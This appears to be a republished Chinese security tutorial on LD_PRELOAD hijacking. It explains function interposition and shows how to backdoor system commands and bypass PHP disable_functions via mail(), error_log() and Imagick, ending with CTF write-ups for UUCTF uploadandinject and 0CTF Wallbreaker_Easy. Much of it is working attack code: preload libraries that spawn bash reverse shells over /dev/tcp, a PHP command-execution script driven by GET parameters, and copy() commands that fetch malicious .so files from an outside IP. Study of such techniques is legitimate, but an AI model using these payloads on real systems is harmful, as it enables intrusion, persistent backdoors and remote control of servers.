LD_PRELOAD劫持

news2024/11/19 3:32:27

在前面UUCTF的uploadinject题,遇到了 LD_PRELOAD劫持,之前没遇见过,刚好借此机会学一学。不能小瞧这个变量,它甚至可以弹shell,绕过disable_functions,非常危险。下面来介绍一下这个变量,以及怎么去利用

目录

<1> LD_PRELOAD简介

<2> LD_PRELOAD 简单利用演示

<3> LD_PRELOAD 劫持系统命令并制作后门

<4> 利用 LD_PRELOAD 绕过 Disable_Functions

(1) 利用 mail() 启动新进程来劫持系统函数

strace 用于跟踪系统调用和信号

 (2) 利用 error_log() 启动新进程来劫持系统函数

<5> 利用 LD_PRELOAD 劫持系统新进程来绕过(非劫持函数)

(1) _attribute((constructor)) 劫持新进程

(2) 绕过disable_funtions 项目代码

<6> CTF应用

(1) [2022UUCTF] uploadandinject(构造恶意strcpy.so文件,php执行system()函数时劫持)

 (2) [0CTF/TCTF]Wallbreaker_Easy

预期解

非预期解


<1> LD_PRELOAD简介

LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file

那,什么是链接呢?

即 编译器找到程序中所引用的函数或全局变量所存在的位置。

  • 静态链接:在程序运行之前就把各个目标模块以及需要的库函数 链接成了一个可执行程序,之后不再拆开
  • 装入时动态链接:源程序编译后得到的一组目标模块,在装入内存时,边装入边链接。 
  • 运行时动态链接: 源程序编译后得到的目标模块,在程序执行的过程中需要用到时才对他进行连接

简单来说可以分为 动态链接静态链接。

  • 静态链接其实就是把所有的函数打包在一起编译为一个可执行文件,编译后函数无法更改,就是直接使用。
  • 动态链接的函数并没有编译到可执行文件中,而是用一个动态链接库,在程序执行时动态加载库中的函数

两种链接各有优缺:

  • 静态链接 如要修改函数和内容都会比较麻烦,必须重新写文件再重新编译发布
  • 动态链接 如果动态链接库中的函数发生变化 对于可执行程序来说时透明的,这样的好处是对于程序的更新、维护都非常容易

 回到我们前面提到的 LD_PRELOAD, 用于动态链接库的加载的环境变量(linux).  它允许你定义在程序运行之前优先加载的动态链接库,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持

比如:一个恶意文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一样,而LD_PRELOAD路径指向这个恶意文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,那么当我们调用原本函数时,它会自动调用恶意的函数,非常危险。

如果我们利用LD_PRELOAD 劫持了所有的系统命令。那么他都会加载这个恶意的so,最终会产生不可逆的漏洞,比如:反弹shell

<2> LD_PRELOAD 简单利用演示

利用之前,首先了解一些基本知识:

        so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据,即动态链接库

1 .so后缀就是动态链接库的文件名 。

2 export LD_PRELOAD=*** 是修改LD_PRELOAD的指向 加载so 文件。

3 我们自定义替换的函数必须和原函数相同,包括类型和参数 。

4 还原LD_PRELOAD的最初指向命令为:unset LD_PRELOAD

linux需要安装gcc   没有安装的可以去安装一下(应该是会自带的)

首先写一段生成10个随机数的C语言代码,写入random.c

#include<stdio.h>
#include<stdlib.h>
#include<time.h> 
int main()
{
	srand(time(NULL)); 
    int i = 10;
    while(i--) printf("%d\n",rand());
    return 0;
}

我们编译一下:  gcc -o random random.c       ./random执行

 这是正常生成的十个随机数。

现在我们利用gcc,将自己的rand函数编成动态链接库:

gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so

生成了unrandom.so文件。将其添加到LD_PRELOAD环境变量中并重新执行 random程序

神奇的事情发现了,输出了我们自己的rand()函数。成功劫持了random程序中的rand()函数,将rand函数替换为我们自己所编写的版本

 

我们接着用 ldd命令 查看可执行文件加载的动态库优先顺序。

当直接运行random时由于没有加载unrandom.so,因此会使用原本的rand函数,但如果我们指定了LD_PRELOAD=unrandom.so,使用ldd查看所加载的so中有我们自己实现的unrandom.so。由于LD_PRELOAD加载顺序最高,因此会优先使用unrandom.so中的rand函数

即 程序执行时是优先使用了我们的动态链接库,从而实现了函数的劫持

至于那个libc.so.6,即默认的动态链接函数库

Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的

简单总结:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
  2. 将包含替换函数的源码编译为动态链接库 命令:gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
  3. 通过命令 export LD_PRELOAD=”库文件路径”,设置要优先替换动态链接库
  4. 如果找不替换库,可以通过 export LD_LIBRARY_PATH=库文件所在目录路径,设置系统查找库的目录
  5. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除
  6. 想查询依赖关系,可以用ldd命令,例如: ldd random

 上面就是我们对 LD_PRELOAD 变量的简单利用的例子,相信大家已经有了自己的一些理解

<3> LD_PRELOAD 劫持系统命令并制作后门

Linux终端存在着许多的命令,例如:ls,cat,cd 等等,为什么我们输入命令回车会得到数据呢,其实在其背后运行了很多函数,如果我们利用LD_PRELOAD 劫持了这些函数中的其中一个,自定义一个恶意代码覆盖这个函数,引发危险

当我们得知了一个系统命令所调用的库函数 后,我们可以重写指定的库函数进行劫持。这里我们以 ls 命令为例:

如下命令 可以查看系统命令 ls 会调用哪些库函数

readelf -Ws /usr/bin/ls

 我们选取其中之一进行重写,这里选择的是 strncmp()

 不知道strncmp()函数类型与参数的话,可以通过报错提示,改为合适的

写入strncmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    printf("You success!!!");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

写入之后,执行命令 gcc -shared -fPIC strncmp.c -o strncmp.so 生成我们的链接库

设置环境变量 export LD_PRELOAD=/tmp/test/strncmp.so 使我们构造的链接库优先加载

然后 执行ls命令 

 成功显示了 You success!!

那··· 我们是不是可以通过回调bash反弹shell呢?

修改 构造的payload() 里为

system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/vps/3005 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

注:修改的时候先 unset LD_PRELOAD 因为vim也调用了strncmp,使用vim会出现问题

当kali机中执行ls时,就把shell弹到vps上去了。前提是只要它不把ls那个终端进程kill我们就可以对其shell进行操作,若终端被kill了服务器的shell也随即会消失、

 虽然弹到了shell。。但是感觉 挺显眼的,因为kali执行ls之后下面就是空的,会被发现

<4> 利用 LD_PRELOAD 绕过 Disable_Functions

有很多方法可以绕过 disable_functions,其中一种便是利用环境变量 LD_PRELOAD 劫持系统函数让外部程序加载恶意的动态链接库文件,从而达到执行系统命令的效果。

基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成以下几个步骤:

  • 查看进程调用的系统函数明细
  • 找寻内部可以启动新进程的 PHP 函数
  • 找到这个新进程所调用的系统库函数并重写
  • PHP 环境下劫持系统函数注入代码

虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 PHP 启动外部程序才行,并且只要有进程启动行为即可,无所谓是谁。所以我们要寻找内部可以启动新进程的 PHP 函数。比如处理图片、请求网页、发送邮件等三类场景中可能存在我想要的函数,但是经过验证,发送邮件这一场景能够满足我们的需求,即 mail()

(1) 利用 mail() 启动新进程来劫持系统函数

mail.php如下:

<?php
mail("a@localhost","","","","");
?>

执行以下命令,可以查看进程调用的系统函数明细:

strace 用于跟踪系统调用和信号

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

mail函数是一个发送邮件的函数,当使用它发送邮件时会使用到系统程序/usr/sbin/sendmail,如果能劫持到sendmail 这一系统命令的某个库函数,就可以执行我们的恶意系统命令

查看一下 sendmail系统命令会调用哪些库函数

readelf -Ws /usr/sbin/sendmail

由于 kali 里没有sendmail这个系统命令,这里便直接叙述了 调用的是 getuid()函数

构造getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

gcc -shared -fPIC getuid.c -o getuid.so

然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:

mail.php

<?php
putenv("LD_PRELOAD=/tmp/test/getuid.so");    // 注意这里的目录/var/tmp/要有访问权限
mail("a@localhost","","","","");
?>

// 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 getuid.so, 以便后续启动新进程时优先加载该共享对象。
// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 getuid.so 中的同名 getuid() 所劫持。

此时运行 mail.php 便可以成功执行命令并反弹 Shell

 (2) 利用 error_log() 启动新进程来劫持系统函数

 error_logmail 函数的原理一样,都会启动一个新的系统进程 /usr/sbin/sendmail

则其利用方式也一样,都是生成一个恶意系统命令的 getuid.so

 然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:

<?php
putenv("LD_PRELOAD=/tmp/test/getuid.so");    // 注意这里的目录要有访问权限
error_log("", 1, "", "");
?>

此时运行 error_log.php 便可以成功执行命令并反弹 Shell

<5> 利用 LD_PRELOAD 劫持系统新进程来绕过(非劫持函数)

(1) _attribute((constructor)) 劫持新进程

回想我们之前的示例,我们之所以劫持 getuid 函数,是因为 sendmail 程序会调用该函数,但是在真实环境中,该利用条件十分苛刻。比如某些环境中,Web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid

 那还有什其他 更好的利用方法吗?

有的,看其他师傅的博客里,有提到一个更好的办法:

        系统通过 LD_PRELOAD 预先加载动态链接库,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了

        即:系统通过LD_PRELOAD预先加载对象,加载时直接进行调用

这种场景与面向对象的语言中的的构造函数相似

通过师傅文章了解到:

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在动态链接库中,那么一旦动态链接库被系统加载,将立即执行 _attribute((constructor)) 修饰的函数。这样,我们就不用局限于仅劫持某一函数,而应考虑劫持动态链接库了,也可以说是劫持了一个新进程。

写入 hack.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    printf("You success!!/n");
}

 

 可以看见成功劫持系统命令ls,并且不光劫持了 ls,只要启动了进程便会进行劫持

我们命令行去执行一下 含有mail()函数的mail.php 因为我并没有下载/usr/sbin/sendmail 系统命令,但是由于 此函数执行时也会有/bin/sh 系统进程:

 应该会启动新进程,然后被劫持。当我通过 export 改变LD_PRELOAD变量时,是会劫持的。

 但是通过mail.php里自己putenv() 却没有劫持,这里有一点不清楚,了解的师傅希望可以解答一下

(2) 绕过disable_funtions 项目代码

对于(1) 里的hack.c 这里还有一点:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    printf("You success!!/n");
}

unsetenv()可能在Centos上无效,因为Centos自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能

 在github上 yangyangwithgnu师傅有一个以此 绕过disable_functions项目代码 上有一个小技巧bypass_disablefunc_via_LD_PRELOAD/bypass_disablefunc.c at master · yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD · GitHub

bypass_disablefunc.c 如下

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");
    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

使用for循环修改LD_PRELOAD的首个字符改成\0这样可以使系统原有的环境变量自动失效

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);    // 通过环境变量 EVIL_CMDLINE 向 bypass_disablefunc_x64.so 传递具体执行的命令行信息

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    // error_log("", 1, "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

<6> CTF应用

(1) [2022UUCTF] uploadandinject(构造恶意strcpy.so文件,php执行system()函数时劫持)

index.php.swp 文件泄露  在kali里 vi -r index.php.swp 恢复文件内容得到:

<?php
$PATH=$_GET["image_path"];
if((!isset($PATH))){
    $PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
  if(file_exists($img_path)){
      //设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so  LD_PRELOAD设置的优先加载动态链接库 
    putenv("LD_PRELOAD=/var/www/html/$img_path");
    system("echo Success to load");
    echo "<br><img src=$img_path>";
  }else{
    system("echo Failed to load ");
  }
}

 $image_path 参数可控并且 putenv("LD_PRELOAD=/var/www/html/$img_path");

联想到 LD_PRELOAD劫持

肯定存在上传文件的网页, 找到/upload/upload.php  虽然限制了后缀,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以

 那我们的 .so文件应该如何构造呢,找一下index.php调用的函数,劫持

用到了我们文章上面的 跟踪系统调用和信号 strace  查看进程调用的系统函数

strace -f php hack.php 2>&1 | grep -A2 -B2 execve

 在hack.php里写入:

<?php
    system("echo Success to load");

发现system()函数会启用 /bin/sh 新进程

readelf 命令查看一下 系统命令/bin/sh调用的函数,发现了 strcpy()

 readelf -Ws /usr/bin/sh

综上,我们写一个 exp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    //反弹shell
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

char *strcpy (char *__restrict __dest, const char *__restrict __src) { //不知道参数的话可以通过报错信息
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

执行 gcc -shared -fPIC exp.c -o exp.so 

生成exp.so   然后改后缀为.jpg  上传

上传文件所在路径:upload/exp.jpg

回到index.php  加载 upload/exp.jpg 服务器上拿到shell

 (2) [0CTF/TCTF]Wallbreaker_Easy

进入题目:  发现了提供的后门

 执行一下phpinfo() 发现 disable_functions禁用了大量的函数,因此这个马=执行不了命令,需要我们绕过 disable_functions

如我们上面介绍的LD_PRELOAD劫持,就是一种绕过 disable_function的手段

也可以利用插件 选择PHP7_GC_UAF模式   插件选择LD_PRELOAD模式不行

但是既然在学LD_PRELOAD 我们就用LD_PRELOAD劫持方法 绕过这道题的disable_function

预期解

一个至关重要的条件就是能找到可以启动新进程的函数,就比如我们之前讲的 mail 函数,但是题目中吧 mail 函数也禁用,那怎么办呢?

我们可以看见题目最初给出的文字里提到:

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server

我们可以尝试利用Imagick。 我们阅读 php-imagick 源码:https://github.com/ImageMagick/ImageMagick  在ImageMagick-master\PerlMagick\Makefile.nt 中发现以下对应关系:

发现当处理 MPEG 类型的文件时,会调用 ffmpeg 程序,就像之前的 mail() 一样,必然会加载动态库函数。属于 MPEG 类型的文件后缀有:

wmv    mov    m4v    m2v    mp4    mpg    mpeg    mkv    avi    3g2    3gp

这里我们可以使用 wmv,让 php-imagick 去处理 wmv 后缀的文件并触发新进程去进行劫持

Open basedir为:/tmp/eb65bb46a62df72028f75932e37e642b  只能在open_basedir规定的目录下工作  因此我们后面上传文件上传到这里

编译生成我们构造的恶意的so文件 

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'");
}

 gcc -shared -fPIC hack.c -o hack.so

将得到的 hack.so 放在服务器上,再在服务器上创建一个名为 a.wmv 的文件,然后使用 PHP 的 copy() 函数将他们依次复制到目标主机上:

backdoor=copy('http://43.143.172.74:3004/hack.so','/tmp/eb65bb46a62df72028f75932e37e642b/hack.so');copy('http://43.143.172.74:3004/a.wmv','/tmp/eb65bb46a62df72028f75932e37e642b/a.wmv');var_dump(scandir("/tmp/eb65bb46a62df72028f75932e37e642b"));

 

 我们再传入执行

backdoor=putenv("LD_PRELOAD=/tmp/eb65bb46a62df72028f75932e37e642b/hack.so");$img = new Imagick('/tmp/eb65bb46a62df72028f75932e37e642b/a.wmv');

非预期解

 由于题目没有没有禁用 error_log() 函数,所以我们可以用 error_log() 函数代替 mail() 函数来触发新进程。 可以直接利用上文里 github上师傅的bypass_disable_function代码

backdoor=copy('http://43.143.172.74:3004/bypass_disablefunc.php','/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.php');copy('http://43.143.172.74:3004/bypass_disablefunc.so','/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.so');var_dump(scandir("/tmp/eb65bb46a62df72028f75932e37e642b"));

GET:?cmd=/readflag&outpath=/tmp/eb65bb46a62df72028f75932e37e642b/out.txt&sopath=/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.so
POST:backdoor=include("/tmp/eb65bb46a62df72028f75932e37e642b/bypass_disablefunc.php");

得到flag

参考:浅谈LD_PRELOAD劫持_errorr0的博客-CSDN博客_export ld_preload

有趣的 LD_PRELOAD-安全客 - 安全资讯平台 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/112689.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

XDocReport使用入门

XDocReport 简介 XDocReport是GitHub上根据麻省理工学院许可证开源的Wrod导出框架。XDocReport可以根据ODT、Doc、Docx文档模板通过模板引擎语法&#xff08;Freemarker、Velocity&#xff09;转换为另外一种格式文档&#xff08;Doc、Docx、XHTML、PDF&#xff09;。 XDocR…

防沉迷管理系统

开发工具(eclipse/idea/vscode等)&#xff1a; 数据库(sqlite/mysql/sqlserver等)&#xff1a; 功能模块(请用文字描述&#xff0c;至少200字)&#xff1a; 1、用户模块 1.1注册&#xff1a;用户通过注册生产账号&#xff0c;并在数据库存储数据 1.2登录&#xff1a;用户登录后…

k8s学习-CKA真题-k8s升级(kubeadm、kubelet、kubectl等)

目录题目解析命令准备工作升级组件升级kubectl、kubelet收尾结果killer 模拟环境题目解析解题参考题目 解析 结合博主当前环境&#xff0c;调整后题目为&#xff1a; 现有的 Kubernetes 集权正在运行的版本是 1.23.6&#xff0c;仅将主节点上的所有 kubernetes 控制面板和组件…

【语音处理】基于加权压力匹配方法(WPMM)的声音系统研究(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

【小程序】案例 - 本地生活(列表页面)

1. 演示页面效果以及主要功能 页面导航并传参 上拉触底时加载下一页数据 下拉刷新列表数据 2. 列表页面的 API 接口 以分页的形式&#xff0c;加载指定分类下商铺列表的数据&#xff1a; 接口地址 https://www.escook.cn/categories/:cate_id/shops URL 地址中的 :cate…

博泰应宜伦:智能汽车上攻时刻,需要“国家级”平台登场

作者 | 张祥威 编辑 | 王博汽车智能化转型的道路上&#xff0c;有个问题可能并非杞人忧天&#xff0c;而是值得整个行业警醒的。那就是&#xff1a; 中国的智能汽车发展&#xff0c;是否会被国外“卡脖子”&#xff1f; 卡脖子的担忧&#xff0c;其实也可以理解为&#xff0c;中…

【Linux】shell及其运行原理

目录1.什么是shell2.shell的功能3.shell的感性理解4.为什么不安装图形化界面1.什么是shell shell &#xff1a; 操作系统内核的外壳 通常来讲&#xff0c;计算机硬件是由运算器、控制器、存储器、输入/输出设备等硬件共同组成的&#xff0c;而让各种硬件设备各司其职且能协同运…

【基础强训】day3

一、选择题 &#x1f4a6;第1题&#xff1a; 以下程序的输出结果是&#xff08;&#xff09; #include <stdio.h> main() { char a[10] {1, 2, 3, 4, 5, 6, 7, 8, 9, 0}, *p; int i; i 8; p a i; printf("%s\n", p - 3); } A 6 B 6789 C 6 D 789 B 先定义…

阳了之后,python实用工具之:疫情信息快速查看

嗨害大家好鸭&#xff01;我是小熊猫&#xff01;&#xff08;阳了个阳版&#xff09; &#xff08;先给大家消消毒&#xff09; 不好意思&#xff0c;很久没给大家更新了… 主要是小熊猫我不小心阳了… 大家要多注意自己的身体健康 多喝点热水 这个真的是个好东西 在家里稍…

深度学习—00入门 神经网络 pytorch

1、深度学习简介 深度学习是机器学习的一个分支&#xff0c;简单来说就是通过人工神经网络&#xff0c;强行在业务的 输入 和 输出 之间&#xff0c;暴力耦合一个出一个数学模型。 1.1 深度学习特点 1、由于是暴力耦合出来的模型&#xff0c;自然模型可解释性很差&#xff0c…

STM32 cubeMX配置OLED

文章目录前言一、OLED的接线二、cubeMX的配置三、OLED的驱动代码四、OLED的使用总结前言 本篇文章主要介绍OLED的操作和使用。 一、OLED的接线 OLED一共有四根线这里我使用的是IIC的OLED显示屏。 VCC----3.3V或者5V GND-----GND SDA-----PB7 SCL-----PB6 二、cubeMX的配置 …

TFT-LCD屏幕触摸校准

TFT-LCD屏幕触摸校准 触摸屏幕分类 1.电阻屏 电阻屏的主要部分是一块与显示器表面配合非常好的电阻薄膜屏&#xff0c;这是一种多层的复合薄膜&#xff0c;由一层玻璃或有机玻璃作为基层&#xff0c;表面涂有一层秀明的导电层&#xff0c;上面再盖有一层外表硬化处理、光滑防…

通达信量化接口需要被程序化执行吗?

其实通达信量化接口其实是量化交易模型的需要被执行的一种方式&#xff0c;但如果你交易者的策略模型采用比较中低频的交易执行方式&#xff0c;比如每天只交易一次&#xff0c;甚至每周或每月才轮动一次。那么小编认为通达信量化接口建议是否程序化执行也是一个非常重要的指标…

UI自动化测试-selenium元素定位

在使用Selenium和WebDriver进行UI自动化测试时&#xff0c;我们首先需要对元素定位&#xff0c;那么如何来定位元素呢&#xff1f; HTML 在进行元素定位之前&#xff0c;我们要对html代码有所了解。 <div classs_form><div classs_form_wrapper><div idlg>…

菜鸟程序员,被无良HR欺骗,因祸得福,竟“意外”拿下美团offer

前因后果 先讲述一下自己这次被无良HR欺骗坑惨的经历吧&#xff0c;面试的是一家上海某电商公司&#xff0c;给的薪资是不错。面试的时候&#xff0c;找我要了工资流水&#xff0c;然后给了我口头offer&#xff0c;就让我回去等了邮件了。回去之后就觉得offer没啥问题&#xff…

tomcat工作任务训练

文章目录1.安装jdk1.8 tomcat9.0 发布java项目部署java环境部署tomcat启动tomcat&#xff0c;测试访问上传项目安装数据库&#xff0c;建库建户web页面配置jpress测试写文章&#xff0c;上传附件2.tomcat多实例安装 比如 8080 8081 8082 发布3个论坛项目 war包也给你了tomcat多…

(memcpy memmove memcmp memset)内存操作函数详解

目录 &#x1f355;注意&#xff1a;内存操作函数隶属于头文件&#xff0c;因此在使用任何内存操作函数之前都必须引用 &#x1f95e;memcpy函数 &#x1f35e;memcpy函数的初步认识及使用 &#x1f373;样例示范&#xff1a; &#x1f9c8;代码呈现&#xff1a; &#x1f9c…

浏览器原理二三事

目录 1. 如何理解 JavaScript 是单线程的 2. 进程与线程 2.1 在浏览器中&#xff0c;如何理解进程和线程的关系&#xff1f; 2.2 浏览器的五种进程 2.2.1 浏览器主进程&#xff08;Browser 进程&#xff09; 2.2.2 浏览器渲染进程&#xff08;Renderer 进程&#xff09; …

论文投稿指南——中文核心期刊推荐(航空、航天2)

【前言】 &#x1f680; 想发论文怎么办&#xff1f;手把手教你论文如何投稿&#xff01;那么&#xff0c;首先要搞懂投稿目标——论文期刊 &#x1f384; 在期刊论文的分布中&#xff0c;存在一种普遍现象&#xff1a;即对于某一特定的学科或专业来说&#xff0c;少数期刊所含…

Linux——【磁盘管理和LVM卷组管理】

前言&#xff1a; Linux 磁盘管理好坏直接关系到整个系统的性能问题&#xff0c;目前市场上的磁盘分类有&#xff1a;IDE磁盘&#xff08;多用于PC机&#xff09;、SATA磁盘、SAS磁盘、SSD磁盘等这么几种分类&#xff0c;企业中服务器大多为后面的两种&#xff0c;SATA磁盘多用…